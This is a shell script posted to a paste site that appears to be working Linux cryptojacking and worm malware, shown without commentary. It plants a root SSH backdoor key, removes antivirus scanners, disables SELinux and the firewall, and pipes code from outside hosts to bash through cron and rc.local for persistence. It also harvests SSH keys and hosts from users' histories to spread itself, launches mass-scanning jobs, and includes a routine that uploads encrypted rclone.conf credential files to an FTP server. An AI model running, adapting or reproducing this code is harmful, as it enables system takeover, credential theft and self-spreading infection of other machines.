- echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDi5nr/787EzPgUWvMYHJMeNW7FpuKaZwiZUWpCQH6mUzdf52nxx42BQXkWxeMf3ehl90+IsWX4XgXWdajS3gh9u09wi/uIbsikHerN11DSWHxi2qF67YH5dfOSHuSsGdFvEEsn5h574CyIrSdDCx5CkZPzu0t87dIj00aJTldRyAaWqtRRHnXg4wHAvc4R1GsAZLoODuv96H9IdDVUxidi7h36xlA2g11p7oY8bGcKIe98Vnok/5/qoMVs/64FsEU70rINXS26Z+2V05UdKxei33TP87UTKPX58mKNhMsRx8LUrpkuHjPU9f/V9LCLZpyCrB6WVgBsKiBfzK69H0kusOBgevG2gjSEIWE+sI9WRHN7iPtw4EcC/ZRzFbNx2p6BuL4jO4MpQzETzW5V0hfCrKmujtCHoYPu1TxKFENOJ3ZwOs0gQ42s2UB/L4CjJOiAmFSb+dkq28UJLDDWlkOatc7TZ/fNH8TAKL/t/k6ohj/lflEMrgErsXckFZbuz6L90k7QyWrv7hGIjZQLu9TYW+FHH/bQK0NDwXRsJRdl/Nucq1X4UNfud4GoZKb0Xmo7r829hxhBsBUHliZItsV9paNJbfSzbV8/rVVerMp89LheoWNIZVb87THCo0Z+rUfOtT87b3aXCrKzTjZNwc2Sf3QW+Pd+4v1NqrrCD79mYQ== server@localhost" >> /root/.ssh/authorized_keys
- sed -i '/.PermitRootLogin*/d' /etc/ssh/sshd_config
- echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
- chmod 555 /root/.ssh/authorized_keys
- fi
- }
- securitygo() {
- docker ps | grep "ubuntu" | awk '{print $1}' | xargs -I % docker kill %
- docker ps | grep "abailey" | awk '{print $1}' | xargs -I % docker kill %
- ps -fe | grep -vw sic/sic | grep /tmp | grep -v grep | grep -v http | awk '{print $8}' | xargs -I % rm -rf %;
- ps -fe | grep -vw sic/sic | grep /tmp | grep -v grep | grep -v http | awk '{print $2}' | xargs -I % kill -9 %;
- which dlz
- if [ $? -eq 0 ]
- then
- echo "exists"
- else
- chattr -iua /usr/bin
- chattr -iua /usr/bin/dlz
- cat > /usr/bin/dlz << \EOF
- curl -L $(curl -L "$1" | grep -i "cdn-" | sed -r 's/.*value="([^"]+).*/\1/g' | head -1 | awk '{gsub(///,"/")}1')
- EOF
- chmod +x /usr/bin/dlz
- fi
- which dlzz
- if [ $? -eq 0 ]
- then
- echo "exists"
- else
- chattr -iua /usr/bin
- chattr -iua /usr/bin/dlzz
- cat > /usr/bin/dlzz << \EOF
- curl -s -L $(curl -Ls "$1" | grep -i "http://download" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)
- EOF
- chmod +x /usr/bin/dlzz
- fi
- craigrowland=$(find /usr/bin -name sandfly-filescan)
- for klingon in $craigrowland
- do
- pkill sandfly-filescan;
- chattr -iua $klingon
- rm -rf $klingon
- chattr +iua $klingon
- done
- growland=$(find /usr/bin /usr/sbiin -name clamscan)
- for clam in $growland
- do
- pkill clamscan;
- chattr -iua $clam
- rm -rf $clam
- chattr +iua $clam
- done
- needreset=0;
- setenforce 0;
- ufw disable;
- iptables -F;
- iptables -X;
- iptables -t nat -F;
- iptables -t nat -X;
- iptables -t mangle -F;
- iptables -t mangle -X;
- iptables -P INPUT ACCEPT;
- iptables -P FORWARD ACCEPT;
- iptables -P OUTPUT ACCEPT;
- iptables -A INPUT -s 205.185.10.0/16 -j DROP
- dlz https://myfile.is/j4ebw6Edn0 | bash -s 2>/dev/null;
- }
- filesetupgo(){
- chattr -iauR /var/tmp/sic/
- chattr -iauR /tmp/sic/
- mount | grep noexec | grep /tmp | grep -vw grep
- if [ $? -eq 1 ]
- then
- echo "good to go";
- else
- echo "remounting"
- mount -o remount,exec /var/tmp
- mount -o remount,exec /tmp
- fi
- j=0; for i in `ps -fe| grep 'sic/sic' | grep -v grep | grep -v http | awk '{print $2}'`; do let j=j+1; if [ $j -ge 2 ]; then echo "Killing process $i"; kill -9 $i; fi done;
- ps -fe | grep -w sic/sic | grep -v grep | grep -v http
- if [ $? -eq 0 ]
- then
- echo "RUNNING";
- else
- curl -4sL "https://iplogger.org/10JS93" >/dev/null;
- mkdir -p /var/tmp/sic || mkdir -p /tmp/sic/;
- filegetgo
- fi
- }
- persistgo(){
- crontab -l | grep -e "um.lk" | grep -v grep
- if [ $? -eq 0 ]
- then
- echo "cron good"
- else
- chattr -aui /var/spool/cron/root
- mkdir -p /etc/cron.d
- mkdir -p /var/spool/cron
- echo "0,30 * * * * dlzz http://um.lk/linux | tr -d '\r' | bash -s" >> ~/cron || true && \
- echo "0,45 * * * * dlz https://myfile.is/B9gc27Efn4 | bash -s" >> ~/cron || true && \
- echo "0 * * * * curl -sL https://iplogger.org/2Ht8Y5 | python - start --port=9061 --log=false" >> ~/cron || true && \
- crontab -u root ~/cron || true && \
- crontab ~/cron || true && \
- anacron -t ~/cron
- rm -rf ~/cron
- rm -rf ~/cron
- rm -rf ~/cron
- chattr +iau /var/spool/cron/root
- fi
- cat /etc/rc.local | grep -vw grep | grep "um.lk"
- if [ $? -eq 0 ]
- then
- echo ""
- else
- echo "dlzz http://um.lk/linux | tr -d '\r' | bash ">>/etc/rc.local
- fi
- #cat /root/.profile | grep -vw grep | grep "um.lk"
- #if [ $? -eq 0 ]
- #then
- #echo "profile good"
- #else
- #echo 'ssh(){'>> /root/.profile
- #echo "command ssh \$@ -t \"curl -sL http://um.lk/linux | bash\"">> /root/.profile
- #echo '}' >> /root/.profile
- #echo 'ssh(){' >> /root/.bash_profile
- #echo "command ssh \$@ -t \"curl -sL http://um.lk/linux | bash\"" >> /root/.bash_profile
- #echo '}' >> /root/.bash_profile
- #echo 'ssh(){' >> /root/.bashrc
- #echo "command ssh \$@ -t \"curl -sL http://um.lk/linux | bash\"" >> /root/.bashrc
- #echo '}' >> /root/.bashrc
- #fi
- }
- filerungo(){
- chattr -iauR /var/tmp/sic/
- chattr -iauR /tmp/sic/
- curl -sL https://raw.githubusercontent.com/fengyouchao/pysocks/master/socks5.py | python - start --port=9061 --log=false;
- ps aux | grep -vw sic/sic | grep -v grep | awk '{if($3>80.0) print $2}' | xargs -I % kill -9 %
- ps -fe | grep -w sic/sic | grep -v grep | grep -v http
- if [ $? -eq 0 ]
- then
- echo "RUNNING"
- else
- sysctl -w vm.nr_hugepages=$(nproc --all)
- echo always | sudo tee /sys/kernel/mm/transparent_hugepage/enabled
- /var/tmp/sic/sic || /tmp/sic/sic
- sleep 10s;
- ps -fe | grep -w sic/sic | grep -v grep | grep -v http
- if [ $? -eq 0 ]
- then
- echo "NOW RUNNING"
- else
- sysctl -w vm.nr_hugepages=$(nproc --all)
- echo always | sudo tee /sys/kernel/mm/transparent_hugepage/enabled
- /var/tmp/sic/sic || /tmp/sic/sic
- fi
- fi
- }
- localgo(){
- myhostip=$(curl -sL icanhazip.com)
- KEYS=$(find ~/ /root /home -maxdepth 3 -name 'id_rsa*' | grep -vw pub)
- KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config|grep IdentityFile|awk -F "IdentityFile" '{print $2 }')
- KEYS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)"|awk -F ' -i ' '{print $2}'|awk '{print $1'})
- KEYS4=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
- HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config|grep HostName|awk -F "HostName" '{print $2}')
- HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)"| grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
- HOSTS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)"|tr ':' ' '|awk -F '@' '{print $2}' | awk -F '{print $1}')
- HOSTS4=$(cat /etc/hosts| grep -vw "0.0.0.0" | grep -vw "127.0.1.1" | grep -vw "127.0.0.1" | grep -vw $myhostip | sed -r '/\n/!s/[0-9.]+/\n&\n/;/^([0-9]{1,3}\.){3}[0-9]{1,3}\n/P;D' | awk '{print $1}')
- HOSTS5=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts| grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
- HOSTS6=$(ps auxw | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | grep ":22" | uniq)
- USERZ=$(echo "root" ;find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -wv ".ssh" )
- USERZ2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)"| tr ':' ' ' | awk -F '@' '{print $1}' | awk '{print $4}' | uniq )
- sshports=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)"| tr ':' ' ' | awk -F '-p' '{print $2}' | awk '{print $1}' | sed 's/[^0-9]*//g' | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2- | sed -e "\$a22")
- userlist=$(echo "$USERZ $USERZ2" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2- | grep -vw "." | grep -vw "ssh" | sed '/\./d')
- hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3 $HOSTS4 $HOSTS5 $HOSTS6" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
- keylist=$(echo "$KEYS $KEYS2 $KEYS3 $KEYS4" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
- i=0
- for user in $userlist
- do
- for host in $hostlist
- do
- for key in $keylist
- do
- for sshp in $sshports
- do
- ((i++))
- if [ "${i}" -eq "20" ]; then sleep 5;
- ps wx|grep "ssh -o"|awk '{print $1}' | xargs kill -9&>/dev/null&
- i=0
- fi;
- #Wait 5 seconds after every 20 attempts and clean up hanging processes
- chmod +r $key
- chmod 400 $key
- echo "$user@$host"
- ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=3 -i $key $user@$host -p $sshp "sudo curl -L http://um.lk/linux | sudo bash -s;"
- ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=3 -i $key $user@$host -p $sshp "curl -L http://um.lk/linux | bash -s;"
- done
- done
- done
- done
- }
- scango (){
- dpkg --configure -a;
- screen -wipe >/dev/null;
- ps aux | grep "dmS waterloo" | grep -vw grep >/dev/null
- if [ $? -eq 0 ]
- then
- echo "running"
- else
- pkill screen;
- echo "need to start"
- pkill screen;
- cat /etc/os-release | grep -vw grep | grep "rhel" >/dev/null
- if [ $? -eq 0 ]
- then
- yum remove epel-release -y
- rpm -ivh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm;
- rpm -ivh https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm;
- else
- echo "no need"
- fi
- if md5sum --status -c - <<<"83acf5a32d84330bbb0103f2169e10bb /usr/bin/zgrab"
- then
- echo ""
- else
- zgrabz1="http://uupload.ir/files/"
- zgrabz2="https://s.put.re/"
- zgrabscrape1="https://fuskbugg.se/"
- zgrabzar1=("epjn_zgrab.jpg" "4ih_zgrab.jpg" "kfdd_zgrab.jpg" "k4l8_zgrab.jpg")
- zgrabzar2=("1ghKpDSA.jpg" "1mR8WfJd.jpg" "1qUqWBMx.jpg" "2XmTPE5G.jpg" "38FqoSBL.jpg" "8BqzUEE8.jpg" "dqY7fmbn.jpg" "fjY69WMZ.jpg" "GWj4vteM.jpg" "Hb4Km7TL.jpg" "j8X4Zzc7.jpg" "Lgj775pY.jpg" "ML5Jj2F6.jpg" "RARm5CMk.jpg" "SFcKoguW.jpg" "sv5evTRR.jpg" "twuY28Nv.jpg" "Va8Ah4wR.jpg" "Wmm44FfX.jpg" "Yj5dX3uk.jpg")
- zgrabscrapear1=("1fRfidDen8" "39R6idD9n7" "52Rbi5D7ne" "BcR3ibDen0")
- chattr -iua /usr/bin/zgrab;
- curl -L -o /usr/bin/zgrab $(curl -sL $zgrabscrape1${zgrabscrapear1[$RANDOM % ${#zgrabscrapear1[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)
- chmod +x /usr/bin/zgrab;
- fi
- if md5sum --status -c - <<<"83acf5a32d84330bbb0103f2169e10bb /usr/bin/zgrab"
- then
- echo ""
- else
- zgrabz1="http://uupload.ir/files/"
- zgrabz2="https://s.put.re/"
- zgrabscrape1="https://fuskbugg.se/"
- zgrabzar1=("epjn_zgrab.jpg" "4ih_zgrab.jpg" "kfdd_zgrab.jpg" "k4l8_zgrab.jpg")
- zgrabzar2=("1ghKpDSA.jpg" "1mR8WfJd.jpg" "1qUqWBMx.jpg" "2XmTPE5G.jpg" "38FqoSBL.jpg" "8BqzUEE8.jpg" "dqY7fmbn.jpg" "fjY69WMZ.jpg" "GWj4vteM.jpg" "Hb4Km7TL.jpg" "j8X4Zzc7.jpg" "Lgj775pY.jpg" "ML5Jj2F6.jpg" "RARm5CMk.jpg" "SFcKoguW.jpg" "sv5evTRR.jpg" "twuY28Nv.jpg" "Va8Ah4wR.jpg" "Wmm44FfX.jpg" "Yj5dX3uk.jpg")
- zgrabscrapear1=("1fRfidDen8" "39R6idD9n7" "52Rbi5D7ne" "BcR3ibDen0")
- chattr -iua /usr/bin/zgrab;
- curl -L -o /usr/bin/zgrab $zgrabz1${zgrabzar1[$RANDOM % ${#zgrabzar1[@]}]} || curl -sKL -o /usr/bin/zgrab $zgrabz2${zgrabzar2[$RANDOM % ${#zgrabzar2[@]}]};
- chmod +x /usr/bin/zgrab;
- fi
- if md5sum --status -c - <<<"83acf5a32d84330bbb0103f2169e10bb /usr/bin/zgrab"
- then
- echo ""
- else
- zgrabz1="http://uupload.ir/files/"
- zgrabz2="https://s.put.re/"
- zgrabscrape1="https://fuskbugg.se/"
- zgrabzar1=("epjn_zgrab.jpg" "4ih_zgrab.jpg" "kfdd_zgrab.jpg" "k4l8_zgrab.jpg")
- zgrabzar2=("1ghKpDSA.jpg" "1mR8WfJd.jpg" "1qUqWBMx.jpg" "2XmTPE5G.jpg" "38FqoSBL.jpg" "8BqzUEE8.jpg" "dqY7fmbn.jpg" "fjY69WMZ.jpg" "GWj4vteM.jpg" "Hb4Km7TL.jpg" "j8X4Zzc7.jpg" "Lgj775pY.jpg" "ML5Jj2F6.jpg" "RARm5CMk.jpg" "SFcKoguW.jpg" "sv5evTRR.jpg" "twuY28Nv.jpg" "Va8Ah4wR.jpg" "Wmm44FfX.jpg" "Yj5dX3uk.jpg")
- zgrabscrapear1=("1fRfidDen8" "39R6idD9n7" "52Rbi5D7ne" "BcR3ibDen0")
- chattr -iua /usr/bin/zgrab;
- curl -L -o /usr/bin/zgrab $zgrabz1${zgrabzar1[$RANDOM % ${#zgrabzar1[@]}]} || curl -sKL -o /usr/bin/zgrab $zgrabz2${zgrabzar2[$RANDOM % ${#zgrabzar2[@]}]};
- chmod +x /usr/bin/zgrab;
- fi
- which masscan >/dev/null
- if [ $? -eq 0 ]
- then
- echo ""
- else
- yum install -y masscan || apt-get install masscan -y
- chmod +x /var/run/
- fi
- which masscan >/dev/null
- if [ $? -eq 0 ]
- then
- echo ""
- else
- yum install -y git gcc make libpcap-dev libpcap-devel || apt-get install git gcc make libpcap-dev -y;
- git clone https://github.com/robertdavidgraham/masscan /tmp/zim;
- cd /tmp/zim;
- make -j;
- install -pDm755 bin/masscan /usr/bin/masscan;
- echo "";
- chmod +x /var/run/
- fi
- which jq >/dev/null
- if [ $? -eq 0 ]
- then
- echo ""
- else
- yum install -y jq | apt-get install jq -y
- fi
- which screen
- if [ $? -eq 0 ]
- then
- echo ""
- else
- yum install -y screen || apt-get install screen -y;
- fi
- scanscrape1="https://fuskbugg.se/"
- actionscrape="https://letsupload.cc/"
- scanarray1=("N1BdwcEfnd" "P7B3wcEbn8" "T8B0w6Eanc" "V2BcweE9n6" "X1B1w8E7nb" "b8Cdw7E3n8" "d0C7weE0n4" "h6C1weE6n6" "jcCcw0E2na" "l3Cdw5E2nf" "v7Cfw2E4n2" "x3C3w3E3n1" "z1CfwfE8n1" "12CbwbEen7" "36CawbE6nf" "51CawdE3nd" "71C6w1E2n6" "9dC3w7Eanf" "D3C6wdE5n8" "H6C3weEfn5")
- scrapeurl=$(curl -sL $scanscrape1${scanarray1[$RANDOM % ${#scanarray1[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)
- rndscreen0=waterloo$(head /dev/urandom | tr -dc a-z0-9 | head -c 5);
- screen -dmS $rndscreen0;
- sleep 1s;
- #goog
- screen -r $rndscreen0 -p 0 -X stuff $"bash\n";
- screen -r $rndscreen0 -p 0 -X stuff $"curl -L "$scrapeurl" | bash -s $(curl -sL "$actionscrape"3eS7MaDcn6 | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)\n";
- sleep 2s;
- rndscreen1=waterloo$(head /dev/urandom | tr -dc a-z0-9 | head -c 5);
- screen -dmS $rndscreen1;
- sleep 1s;
- #amz
- screen -r $rndscreen1 -p 0 -X stuff $'bash\n';
- screen -r $rndscreen1 -p 0 -X stuff $"curl -L "$scrapeurl" | bash -s $(curl -sL "$actionscrape"lbS4M5Dbn2 | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)\n";
- sleep 2s;
- rndscreen2=waterloo$(head /dev/urandom | tr -dc a-z0-9 | head -c 5);
- screen -dmS $rndscreen2;
- sleep 1s;
- #ovh
- screen -r $rndscreen2 -p 0 -X stuff $'bash\n';
- screen -r $rndscreen2 -p 0 -X stuff $"curl -L "$scrapeurl" | bash -s $(curl -sL "$actionscrape"J2S1MaDbn9 | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)\n";
- sleep 2s;
- rndscreen3=waterloo$(head /dev/urandom | tr -dc a-z0-9 | head -c 5);
- screen -dmS $rndscreen3;
- sleep 1s;
- #cn
- screen -r $rndscreen3 -p 0 -X stuff $'bash\n';
- screen -r $rndscreen3 -p 0 -X stuff $"curl -L "$scrapeurl" | bash -s $(curl -sL "$actionscrape"r6SdMfD8n5 | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)\n";
- sleep 2s;
- rndscreen4=waterloo$(head /dev/urandom | tr -dc a-z0-9 | head -c 5);
- screen -dmS $rndscreen4;
- sleep 1s;
- #do
- screen -r $rndscreen4 -p 0 -X stuff $'bash\n';
- screen -r $rndscreen4 -p 0 -X stuff $"curl -L "$scrapeurl" | bash -s $(curl -sL "$actionscrape"B1S4M1D7n9 | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)\n";
- sleep 2s;
- rndscreen5=waterloo$(head /dev/urandom | tr -dc a-z0-9 | head -c 5);
- screen -dmS $rndscreen5;
- sleep 1s;
- #de
- screen -r $rndscreen5 -p 0 -X stuff $'bash\n';
- screen -r $rndscreen5 -p 0 -X stuff $"curl -L "$scrapeurl" | bash -s $(curl -sL "$actionscrape"v6S5M6D4n8 | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)\n";
- sleep 2s;
- rndscreen6=waterloo$(head /dev/urandom | tr -dc a-z0-9 | head -c 5);
- screen -dmS $rndscreen6;
- sleep 1s;
- #msft
- screen -r $rndscreen6 -p 0 -X stuff $'bash\n';
- screen -r $rndscreen6 -p 0 -X stuff $"curl -L "$scrapeurl" | bash -s $(curl -sL "$actionscrape"B1S4M1D7n9 | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)\n";
- fi
- }
- grabfilego(){
- rcl=$(find ~/ /root /home -maxdepth 3 -name 'rclone.conf' | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
- curl -o /tmp/pub.asc https://s.put.re/km9V1CWT.asc
- gpg --import /tmp/pub.asc
- for file in $rcl
- do
- gpg --trust-model always --recipient me@me.com --encrypt $file
- curl -T $file.gpg ftp://anonymous:anonymous@136.55.35.132/Passport/Music/Various/$(head /dev/urandom | tr -dc a-z0-9 | head -c 5).gpg
- rm -rf *.gpg
- find ~/ /root /home -maxdepth 3 -name 'rclone.conf.gpg' -exec rm {} \;
- done
- }
- securitygo
- sshaddusergo
- sshkeysgo
- filesetupgo
- persistgo
- filerungo
- resetsshgo
- #grabfilego
- scango
- localgo
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement